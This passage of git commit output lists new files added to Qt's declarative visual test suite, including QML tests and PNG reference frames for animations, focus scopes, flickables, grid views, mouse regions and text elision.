tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.5.png create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.3.png create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.4.png create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.5.png create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/pics/qtlogo.png create mode 100644 tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/propertyAction/propertyAction.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.3.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.4.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.5.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.6.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.7.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.8.png create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/reanchor/reanchor.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/scriptAction/scriptAction.qml create mode 100644 tests/auto/declarative/qmlvisual/fillmode/data/fillmode.0.png create mode 100644 tests/auto/declarative/qmlvisual/fillmode/data/fillmode.qml create mode 100644 tests/auto/declarative/qmlvisual/fillmode/face.png create mode 100644 tests/auto/declarative/qmlvisual/fillmode/fillmode.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.2.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.3.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.4.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.5.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test2.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.2.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.3.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.4.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.5.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.6.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.7.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.8.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.9.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test.2.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test.3.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test.4.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test.5.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test2.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.2.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.3.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.4.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.5.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.6.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.7.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.8.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.9.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data-X11/test3.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test.2.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test.3.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test.4.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test.5.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test2.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test2.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test2.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.0.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.1.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.2.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.3.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.4.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.5.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.6.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.7.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.8.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.9.png create mode 100644 tests/auto/declarative/qmlvisual/focusscope/data/test3.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/test.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/test2.qml create mode 100644 tests/auto/declarative/qmlvisual/focusscope/test3.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated-smooth.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/animated.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/borders.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/MyBorderImage.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/bw.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-round.sci create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors-stretch.sci create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/content/colors.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated-smooth.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/borders.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.10.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.11.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.12.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.13.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.14.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.15.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.16.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.17.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.18.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.19.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.20.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.21.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.22.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.23.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.24.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.9.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-horizontal.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-vertical.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeflipable/test-flipable.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.9.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.10.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.9.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.10.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.11.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.12.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.13.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.14.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.15.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.16.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.17.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.18.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.19.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.20.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.21.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.22.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.9.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/mouseregion.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/drag.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativemouseregion/mouseregion.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeparticles/particles.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativeparticles/star.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview-2.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/repeater.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/repeater.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/dynamic.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativepositioners/repeater.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/clock.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/background.png create mode 100755 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/center.png create mode 100755 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/clock.png create mode 100755 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/hour.png create mode 100755 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/minute.png create mode 100755 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/second.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.10.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.9.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativespringfollow/follow.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data/parentanchor.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/parentanchor.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide2.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/elide/multilength.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/cursorDelegate.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png create mode 100644 